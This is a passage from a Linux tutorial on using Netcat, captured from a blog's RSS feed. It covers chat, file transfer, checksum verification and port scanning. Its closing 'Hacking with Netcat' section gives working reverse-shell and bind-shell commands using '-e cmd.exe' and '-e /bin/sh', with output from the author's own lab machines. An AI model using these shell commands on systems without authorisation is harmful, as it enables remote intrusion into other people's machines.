Vary: X-PJAX, Accept-Language, Accept-Encoding, Accept, X-Requested-With
permissions-policy: interest-cohort=()
ETag: W/"94946c032884213d15c51f6ed29ed03e"
Cache-Control: max-age=0, private, must-revalidate
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Frame-Options: deny
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
Expect-CT: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"
Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events translator.github.com wss://alive.github.com github.githubassets.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com render-temp.githubusercontent.com viewscreen.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com secured-user-images.githubusercontent.com/ *.githubusercontent.com customer-stories-feed.github.com spotlights-feed.github.com; manifest-src 'self'; media-src github.githubassets.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/socket-worker-3f088aa2.js gist.github.com/socket-worker-3f088aa2.js
Set-Cookie: _gh_sess=tYm0qZ0oXFzUG8Dc2YucTOhIJuxeFGVTx4tGW%2FZcYx4QI9MrYoSWsuVvGqMCZh0YG7eUdsDe6231%2FnGMLJsxNjhkF3mNyblLnF8mPQX%2BVltD6E98n0Tih9DUf2I49lYyOCjp6UvUewn1NAYW%2FGOKFUn8%2F2dUvHBJQ%2F3UKEE%2F9w97caNikSZDtZxnaF91O8H0AV%2FkKuUVwJASOsxJviza87B13bE9eLfzMej9ndm2Ywb5yfTUEYccO3sPjRHp7UkSWnRFkt5LHuAEMg81QCCgmA%3D%3D--cVgPJ6RLH%2FItXYgz--Rk9K72INktZw6RibFZJoxA%3D%3D; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: _octo=GH1.1.1661960893.1626050330; Path=/; Domain=github.com; Expires=Tue, 12 Jul 2022 00:38:50 GMT; Secure; SameSite=Lax
Set-Cookie: logged_in=no; Path=/; Domain=github.com; Expires=Tue, 12 Jul 2022 00:38:50 GMT; HttpOnly; Secure; SameSite=Lax
Accept-Ranges: bytes
X-GitHub-Request-Id: 041C:0BCA:7B79525:7FD6376:60EB8F1A

Ncat: 37 bytes sent, 2595 bytes received in 0.26 seconds.</pre>



<p>As you can see, now the output is showing correctly. We can also see the cookie and some encryption information as well in the header.</p>



<p>Sometimes you’ll require a certificate to connect to the host. You can create an SSL Certificate and SSL key with <code>--ssl-cert</code> and <code>--ssl-key</code> respectively. Find more on this on the Ncat user manual’s <a href="https://nmap.org/ncat/guide/ncat-ssl.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">SSL page<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<h2 id="creating-a-simple-chat-using-netcat" class="wp-block-heading">Creating a simple chat using Netcat</h2>



<p>Now that you know how to create a client and a server with Netcat, let’s build both and create a chatting functionality between them.</p>



<p>You can do this over remote network machines or within your local network. We&#8217;ll just need two computers that can run Netcat (it can be a computer, virtual machine or phone with a terminal and netcat installed)</p>



<p class="black-bg"><strong>What we&#8217;ll do:</strong> On the first machine (doesn&#8217;t matter which) we&#8217;ll just run the command to create a server and listen on a port, in our case 4000. On the second machine we&#8217;ll run the command to connect to the first machine&#8217;s IP and port, thereby establishing the connection. From there we can just write messages from one machine and they&#8217;ll instantly appear on the other.</p>



<p>Let’s get started.</p>



<h3 id="within-your-local-network" class="wp-block-heading">Within your local network</h3>



<p>For our example, I&#8217;ll create a chat with a VMware virtual machine running Ubuntu 20.04.</p>



<p class="black-bg">You can try out the same thing, or you can use machines connected to your WiFi &#8211; such as if you have multiple computers that can have Netcat installed on them, or an Android phone running <a href="https://opensource.com/article/20/8/termux" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Termux<span class="wpel-icon wpel-image wpel-icon-19"></span></a> (installed from <a href="https://f-droid.org/packages/com.termux/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">f-droid.org<span class="wpel-icon wpel-image wpel-icon-19"></span></a> on which you can install Netcat).<br><br>Most likely there are options for iOS, and other operating systems as well, however I haven&#8217;t tried them myself.</p>



<p>Make sure both the machines have Netcat installed.</p>



<p>First, figure out the <strong>private IP address</strong> (IPv4) of the computer where we&#8217;ll run the server on, because we&#8217;ll need to know it so we can connect to it from the second computer.</p>



<h4 id="finding-your-private-ip-address" class="wp-block-heading">Finding your private IP address</h4>



<div class="wp-block-group neon-border is-layout-flow wp-block-group-is-layout-flow">
<p>Your <strong>private IP address</strong> is different than your <strong>public IP address</strong> [which is the IP address most of us are familiar with].</p>



<p>A <strong>private</strong><strong> IP address</strong> is an IP address used within a private network, such as your home network (unlike the <strong>public IP address</strong> which you would use to access the internet).</p>



<p>Typically, <em>a private IP address is assigned to each device connected to your local network by your router</em>. Say you have multiple computers and phones, a printer and a smart TV &#8211; all of them are assigned a private IP address.</p>



<p>IP ranges used by private networks are, so your private IP address should be from one of those ranges.</p>



<ul class="wp-block-list"><li>10.0.0.0/8</li><li>172.16.0.0/12</li><li>192.168.0.0/16</li></ul>
</div>



<p>On Linux, you can determine your private IP address using command such as <code>ip addr</code>, <code>ifconfig</code> or <code>hostname -I</code> (uppercase <strong>I</strong>).</p>



<h5 id="determine-your-private-ip-address-using-ip-addr-or-ifconfig" class="wp-block-heading">Determine your private IP address using ip addr or ifconfig</h5>



<p>We&#8217;ll use <code>ip addr</code> since it&#8217;s meant to be a replacement for <code>ifconfig</code>, and <strong>ifconfig</strong> may not come pre-installed on recent Linux systems.</p>



<p>When you run it, the system will display all your network interfaces.</p>



<pre class="wp-block-preformatted prompt">ip addr</pre>


<div class="codeblock-title">Output</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="10" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:12:e9:70 brd ff:ff:ff:ff:ff:ff
    altname enp2s1
    inet 192.168.145.131/24 brd 192.168.145.255 scope global dynamic noprefixroute ens33
       valid_lft 992sec preferred_lft 992sec
    inet6 fe80::c567:c033:897f:58ea/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever</pre>



<p>What we&#8217;re interested in is what comes after <code>inet</code> in the details for the network interface that we&#8217;re using.</p>



<p>Your output may display more network interfaces, such as <code>eth0</code>, <code>wlan0</code> and so on.</p>



<p>To determine the network interface that you&#8217;re using you can use the <code>route</code> command:</p>



<pre class="wp-block-preformatted prompt">route</pre>


<div class="codeblock-title">Output</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="3" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         _gateway        0.0.0.0         UG    100    0        0 ens33
link-local      0.0.0.0         255.255.0.0     U     1000   0        0 ens33
192.168.145.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33</pre>



<p>The <code>Iface</code> column on the same line with <strong>default</strong> in the <code>Destination</code> column should tell you the interface that you are using (the highlighted line).</p>



<p>As we can see, the interface I&#8217;m using is <code>ens33</code>, and if we look up to the output from where I ran <strong>ip addr</strong>, under <strong>ens33</strong> and after <strong>inet</strong> we see <code>192.168.145.131</code>.</p>



<p>So my private IP address is <code>192.168.145.131</code>.</p>



<h5 id="determine-your-private-ip-address-using-hostname-i" class="wp-block-heading">Determine your private IP address using hostname -I</h5>



<p>You can also easily display your private IP address using <code>hostname -I</code> (uppercase <strong>I</strong>), however you will be shown multiple IPs if you have multiple configured interfaces.</p>



<p>For example, when I run it on the same machine as before, I get a quick and clean private IP address in the output.</p>



<pre class="wp-block-preformatted prompt">hostname -I</pre>


<div class="codeblock-title">Output Machine 1</div>



<pre class="wp-block-preformatted">192.168.145.131</pre>



<p>However, when I run it on a different machine:</p>


<div class="codeblock-title">Output Machine 2</div>



<pre class="wp-block-preformatted">10.0.2.15 192.168.33.10</pre>



<p>In this case, the second IP (<strong>192.168.33.10</strong>) is the one I can connect to on my local network via Netcat.</p>



<p>I usually use the <code>ip addr</code> method.</p>



<p>We&#8217;ll refer to the computers as:</p>



<ol class="wp-block-list"><li><strong>Machine 1</strong> &#8211; the computer whose private IP address we&#8217;ve determined, where we will create the server and listen on port 4000</li><li><strong>Machine 2</strong> &#8211; the computer that we&#8217;ll use to connect to <strong>Machine 1</strong></li></ol>



<p>Now, assuming that you&#8217;ve found your private IP address for <strong>Machine 1</strong>, create a server on it, listening on any port (I&#8217;ll use 4000). To do this run:</p>



<pre class="wp-block-preformatted prompt">nc -vlp 4000</pre>


<div class="codeblock-title">Output Machine 1 (Server)</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>Now Netcat will be listening on <strong>Machine 1</strong> which has the IP address of <code>192.168.145.131</code>. <em>This is our server</em>.</p>



<p>Now let&#8217;s connect to this server from another device within our local network (which is <strong>Machine 2</strong>.</p>



<p>We&#8217;ll use the server&#8217;s IP address and port to connect to it. Run the following command, replacing the IP with your machine&#8217;s private IP address:</p>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000</pre>


<div class="codeblock-title">OutputMachine 2 (Client)</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.</pre>



<p>As we can see our client has connected to the server. If we take a look at our server we’ll instantly see the machine connected to it:</p>


<div class="codeblock-title">Output Machine 1 (Server)</div>



<pre class="wp-block-preformatted">Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:1049.</pre>



<p>Now the client-server connection has been established. You can type in anything in any of the machines and you’ll see the message instantly on the other machine. Here are the commands and outputs of each machine:</p>


<div class="codeblock-title">Command + Output Machine 1 (Server)</div>



<pre class="wp-block-preformatted prompt">n -vlp 4000

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000
Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:1049.
Hi. Can you see this?
Yes, I can. Hi!
So what are you thinking about?
Oh, you know, tutorials &amp; stuff.</pre>


<div class="codeblock-title">Command + Output Machine 2 (Client)</div>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.
Hi. Can you see this?
Yes, I can. Hi!
So what are you thinking about?
Oh, you know, tutorials &amp; stuff.</pre>



<h4 id="video-demo-of-creating-a-simple-chat-using-netcat" class="wp-block-heading">[Video] Demo of creating a simple chat using Netcat</h4>



<p>Here&#8217;s a very short video demonstrating this. On the left there&#8217;s what we call <strong>Machine 1</strong>, which is an Ubuntu 20.04 virtual machine, and on the left I&#8217;m using Cmder on Windows 10.</p>



<a href="https://nooblinux.com/how-to-use-netcat/" data-wpel-link="internal"><img decoding="async" src="https://nooblinux.com/wp-content/plugins/wp-youtube-lyte/lyteCache.php?origThumbUrl=%2F%2Fi.ytimg.com%2Fvi%2FrVYvElK9CBU%2Fhqdefault.jpg" alt="YouTube Video"></a><br /><br /></p>



<h3 id="within-a-single-computer" class="wp-block-heading">Within a single computer</h3>



<p>If you do not have access to another computer in your local network, you can also try this on your computer with two terminals.</p>



<p>Open two terminals and just follow the same procedure with the <code>nc</code> command.</p>



<p>Create a server and a client and you can send text from one to the other terminal and communicate between them in real-time.</p>



<h2 id="transferring-files-between-two-hosts-using-netcat" class="wp-block-heading">Transferring files between two hosts using Netcat</h2>



<p>You’ve already seen how Netcat can send texts from one host to another using the client-server setup. Now let’s learn to send some more useful things rather than just texts.</p>



<p>You can send any file over netcat. There are two ways to do this:</p>



<ol class="wp-block-list"><li>Serve the file on the Netcat server</li><li>Push the file from the client side</li></ol>



<p>We&#8217;ll cover both.</p>



<h3 id="serve-the-file-from-a-server" class="wp-block-heading">Serve the file from a server</h3>



<p>Let’s start with how to serve the file using the Netcat server.</p>



<p>In this method, the server has to be created on the machine that contains the file.</p>



<p>Pipe the file into the server:</p>


<div class="codeblock-title">Server Command</div>



<pre class="wp-block-preformatted prompt">cat nooblinux_assets.zip | nc -vlp 4000</pre>


<div class="codeblock-title">Server Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>On the other machine (also known as the client), type in the following to connect to the server and save the file, replacing the IP with your machine&#8217;s private IP:</p>


<div class="codeblock-title">Client Command</div>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000 &gt; nooblinux_assets.zip</pre>



<p>You will see the typical output.</p>


<div class="codeblock-title">Client Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.</pre>



<p>And on the first machine (the server) you will see the typical output as we&#8217;ve seen before, when the other machine connects to it:</p>


<div class="codeblock-title">Server Output</div>



<pre class="wp-block-preformatted">Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:1049.</pre>



<p>Your file will transfer. But you might notice a problem with this method immediately – there’s no indication if the file completed transferring or not. The connection stays open.</p>



<p>This brings us to the second method.</p>



<h3 id="push-the-file-to-the-server-from-the-client" class="wp-block-heading">Push the file to the server from the client</h3>



<p>Now we’ll just listen on a port on the server and <em>save whatever comes to it</em> instead of serving the file.</p>



<p>This means the machine with the file will be the client and it will send the file to the server.</p>



<p>Let’s create a server and save the incoming data:</p>



<pre class="wp-block-preformatted prompt">nc -vlp 4000 &gt; whatever_may_come.zip</pre>


<div class="codeblock-title">Output Server</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>Now let’s connect the client to the server and push the file:</p>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000 &lt; nooblinux_assets.zip</pre>


<div class="codeblock-title">Output Client</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.
Ncat: 245394 bytes sent, 0 bytes received in 7.04 seconds.</pre>



<p>This method works much better than the previous. It closes the connection as soon as the file is transferred.</p>



<p>So, you know that the file was successfully transferred and don’t have to worry about unfinished file transfer.</p>



<h3 id="checking-if-the-file-transfer-was-successful" class="wp-block-heading">Checking if the file transfer was successful</h3>



<p>You can check if the file you downloaded was finished transferring properly or if it is not the same file you wanted to download.</p>



<p>Checking the checksum of the file will reveal if the files are the same or not.</p>



<p>A simple way to do this is using the <code>md5sum</code> tool which uses the <strong>md5 hash algorithm</strong>.</p>



<p class="neon-border">On Windows you have <code>md5sum.exe</code> and you can run it like in the following examples, but only replace <strong>md5sum</strong> with <strong>md5sum.exe</strong>.</p>



<p>In my case,run the commands on each of the files (the original one and the received one) so you can check if the resulting checksums are identical.</p>


<div class="codeblock-title">md5sum pushed file</div>



<pre class="wp-block-preformatted">md5sum nooblinux_assets.zip</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">3ba304b2acf42467b68ee9df05e5883e *nooblinux_assets.zip</pre>


<div class="codeblock-title">md5sum received file</div>



<pre class="wp-block-preformatted">md5sum whatever.zip</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">3ba304b2acf42467b68ee9df05e5883e  whatever.zip</pre>



<p>If the hashes match up then they are the same file. This is a very simple yet quite effective method to check if the file transferred successfully.</p>



<p>That’s why you’ll see many websites provide the checksums of their files so you can crosscheck if you downloaded the same file or not. This is very important since hackers can alter your download with a malicious file.</p>



<h2 id="scanning-ports-with-traditional-netcat" class="wp-block-heading">Scanning ports with traditional Netcat</h2>



<p>The traditional Netcat gives you the option to perform basic port scanning.</p>



<p class="blag-bg">As we mentioned in the beginning of this tutorial,&nbsp;<strong>Ncat</strong> lacks this feature, since it&#8217;s &#8220;big brother&#8221;, Nmap, already has advanced port scanning capabilities.<br><br>If you&#8217;d like to learn more about it, you can check our <a href="https://bytexd.com/how-to-use-nmap/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">comprehensive tutorial on how to use Nmap<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>On Netcat, you can use the <code>-z</code> flag that doesn’t include the input/output and only tries to connect to the ports and finds out which ones are open.</p>



<p>Let’s scan a single port:</p>



<pre class="wp-block-preformatted prompt">netcat -vz nooblinux.com 443</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Connection to nooblinux.com 443 port [tcp/https] succeeded!</pre>



<p>To scan a range of ports, use the following syntax. The “-w” flag tells it to wait for the seconds specified after it. In this case, it’ll wait 1 second for each request –</p>



<pre class="wp-block-preformatted prompt">netcat -vzw1 scanme.nmap.org 20-25</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">netcat: connect to scanme.nmap.org port 20 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 20 (tcp) failed: Connection refused
netcat: connect to scanme.nmap.org port 21 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 21 (tcp) failed: Connection refused
Connection to scanme.nmap.org 22 port [tcp/ssh] succeeded!
netcat: connect to scanme.nmap.org port 23 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 23 (tcp) failed: Connection refused
netcat: connect to scanme.nmap.org port 24 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 24 (tcp) failed: Connection refused
netcat: connect to scanme.nmap.org port 25 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 25 (tcp) failed: Connection refused</pre>



<p>As you can see from the output, port 22 (ssh) is open.</p>



<p>You can also scan UDP ports using the <code>-u</code> flag:</p>



<pre class="wp-block-preformatted prompt">nc -vzuw1 scanme.nmap.org 20-25</pre>



<h2 id="hacking-with-netcat" class="wp-block-heading">Hacking with Netcat</h2>



<p>Hackers and penetration testers often use Netcat to get shell access in a remote system.</p>



<p>If you have a machine with remote code execution capabilities, you can use Netcat to create a reverse shell or a backdoor in that machine.</p>



<p>This allows you to execute commands as a user on that machine.</p>



<p>There are two ways to do this. You can either:</p>



<ol class="wp-block-list"><li>create a <strong>reverse shell</strong></li><li>create a <strong>bind shell</strong></li></ol>



<h4 id="reverse-shell" class="wp-block-heading">Reverse Shell</h4>



<p>In a reverse shell, the attack machine listens on a specific port and the target machine initiates a shell and connects to the attack machine.</p>



<h4 id="bind-shell" class="wp-block-heading">Bind Shell</h4>



<p>In the bind shell, the target machine initiates the shell and listens to a port. The attacker machine connects to the target machine and gets shell access.</p>



<p class="orange-border"><strong>Notice:</strong> We’ll be using the <code>-e</code> flag on <strong>Ncat</strong> to execute after connection. If you see the <code>-e</code> flag is not supported in the version of Netcat you’re using, install another one.</p>



<h3 id="creating-a-reverse-shell-using-netcat" class="wp-block-heading">Creating a Reverse Shell using Netcat</h3>



<p>To create a reverse shell with Netcat, start a server with any port listening on the <strong>attacking machine</strong>. You&#8217;ll then connect to it from the <strong>target machine</strong>. Then you&#8217;ll be able to execute commands on the target machine from the attacking machine.</p>



<p>I&#8217;ll use a Windows 10 machine and an Ubuntu 20.04 machine and try it both ways. The difference will be that when we execute remote code on Windows, we&#8217;ll use <em>Windows Command Prompt</em> <code>cmd.exe</code> instead of the <em>Bourne <strong>sh</strong>ell</em> <code>sh</code>.</p>



<p>Let&#8217;s see how that works.</p>



<h4 id="attacker-linux-target-windows" class="wp-block-heading">Attacker: Linux / Target: Windows</h4>



<p>Run the following command on the attacking machine (you can use another port, I&#8217;ll use 4000):</p>



<pre class="wp-block-preformatted prompt">nc -vlp 4000</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>Now connect from the target machine with the shell access using the <code>-e</code> flag:</p>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000 -e cmd.exe</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.</pre>



<p>On the attacking machine, you’ll see the connection message:</p>



<pre class="wp-block-preformatted">Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:19095.
Microsoft Windows [Version 10.0.19042.1083]
(c) Microsoft Corporation. All rights reserved.

D:\Downloads&gt;</pre>



<p>I ran the command from the <code>D:\Downloads&gt;</code>.</p>



<p>Now you can type in some commands in the attack machine, and you’ll get replies from the target machine shell:</p>



<pre class="wp-block-preformatted">D:\Downloads&gt;whoami</pre>



<pre class="wp-block-preformatted">whoami
desktop-0i9jobe\shway</pre>



<p>Here, I typed in the <code>whoami</code> command to see the current user (<code>whoami</code> also works on Windows 10). As you can see, it’s <strong>desktop-0i9jobe\shway</strong>. That&#8217;s my desktop name and username.</p>



<p>Let’s execute more commands:</p>



<pre class="wp-block-preformatted">D:\Downloads&gt;ls</pre>



<pre class="wp-block-preformatted">nooblinux_assets.zip
some_wallpaper.png
an_emoji.png
verification.jpeg
rufus.exe</pre>



<p>You can execute commands on the target machine using the reverse shell like this from the attack machine.</p>



<h4 id="attacker-windows-target-linux" class="wp-block-heading">Attacker: Windows / Target: Linux</h4>



<p>Now let&#8217;s execute code remotely from Windows on Linux.</p>



<p>First we again create a server on our attacking machine, which is the Windows machine in my case (use the port of your choice):</p>



<pre class="wp-block-preformatted promptwin">nc -vlp 4000</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>And we&#8217;ll connect from the target machine (the Linux machine):</p>



<pre class="wp-block-preformatted promptwin">nc -v 192.168.100.16 4000 -e /bin/sh</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.100.16:4000.</pre>



<p>You won&#8217;t see any prompt symbol, but now we should be able to execute commands from the Windows machine and onto the Linux machine.</p>



<pre class="wp-block-preformatted">whoami</pre>



<pre class="wp-block-preformatted">ed</pre>



<p>My user on the Linux machine is <code>ed</code>, so that&#8217;s correct.</p>



<pre class="wp-block-preformatted">hostname</pre>



<pre class="wp-block-preformatted">nooblinux</pre>



<p>We can execute many more commands but that is beyond the scope of this tutorial. I hope the above examples have given you an idea of what you can do.</p>



<h3 id="creating-a-bind-shell-with-netcat" class="wp-block-heading">Creating a Bind Shell with Netcat</h3>



<p>Bind shell achieves the same purpose as the reverse shell. However, the process to create a bind shell is the opposite.</p>



<p>To create a bind shell, setup the target machine to listen on a port with shell access. As before, you will have to mention the appropriate command line interpreter. On Linux you can typically go with <code>/bin/sh</code> and on Windows with <code>cmd.exe</code>.</p>



<p class="black-bg">We won&#8217;t go into Linux-&gt;Windows, Windows-&gt;Linux scenarios such as we did for the reverse shell, but a simple example should give you a good idea of how to go about it both ways.</p>


<div class="codeblock-title">Set up a Linux target machine</div>



<pre class="wp-block-preformatted prompt">nc -vlp 4000 -e /bin/sh</pre>


<div class="codeblock-title">Set up a Windows target machine</div>



<pre class="wp-block-preformatted prompt">nc -vlp 4000 -e cmd.exe</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>After that, you just have to connect to the target from the attack machine:</p>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.</pre>



<p>Now you can execute commands from the attack machine. Remember, you may not see a <strong>prompt symbol</strong>, but you can execute commands normally.</p>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.
whoami
ed
pwd
/home/ed
ls
file
file.log
file.log.save
file.txt
master_downloaded.zip
master_serve.zip</pre>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>In this tutorial, we covered the fundamentals of the Netcat utility. We hoped that you liked it and that it was easy to read and understand. You can learn more about <strong>Ncat</strong> from the <a href="https://nmap.org/ncat/guide/index.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Ncat Users&#8217; Guide on Nmap.org<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. If you have any problems feel free to leave a comment or contact us and we’ll get back to you as soon as possible.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-use-netcat/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3208</post-id>	</item>
	</channel>
</rss>
